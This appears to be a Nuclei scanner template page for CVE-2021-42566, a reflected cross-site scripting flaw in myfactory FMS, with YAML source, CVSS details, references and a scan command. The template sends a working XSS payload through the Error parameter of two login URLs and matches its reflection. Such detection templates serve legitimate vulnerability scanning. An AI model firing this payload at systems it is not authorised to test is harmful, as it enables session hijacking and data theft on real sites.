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Nuclei Templates

myfactory FMS - Cross-Site Scripting

ID: CVE-2021-42566

Severity: medium

Author: madrobot

Tags: cve2021,cve,myfactory,xss

Description

Section titled “Description”

myfactory.FMS before 7.1-912 allows cross-site scripting via the Error parameter.

YAML Source

Section titled “YAML Source”
id: CVE-2021-42566


info:
  name: myfactory FMS  -  Cross-Site Scripting
  author: madrobot
  severity: medium
  description: myfactory.FMS before 7.1-912 allows cross-site scripting via the Error parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-42566
    - https://www.redteam-pentesting.de/en/advisories/rt-sa-2021-001/-cross-site-scripting-in-myfactory-fms
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-42566
    - https://www.redteam-pentesting.de/advisories/rt-sa-2021-001
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-42566
    cwe-id: CWE-79
    epss-score: 0.00106
    epss-percentile: 0.43259
    cpe: cpe:2.3:a:myfactory:fms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: myfactory
    product: fms
  tags: cve2021,cve,myfactory,xss


http:
  - method: GET
    path:
      - '{{BaseURL}}/ie50/system/login/SysLoginUser.aspx?Login=Error&Error=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
      - '{{BaseURL}}/system/login/SysLoginUser.aspx?Login=Error&Error=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"
        condition: and


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
# digest: 490a0046304402200ed80fab4cf8e04c54b6d62ec07526032dd0f3d518fc92547b5ee187e29e0afd0220665f4ac32a487d512c0c7d972c4347196e0a83474ecde750bae24086c5fe9630:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-42566.yaml"

View on Github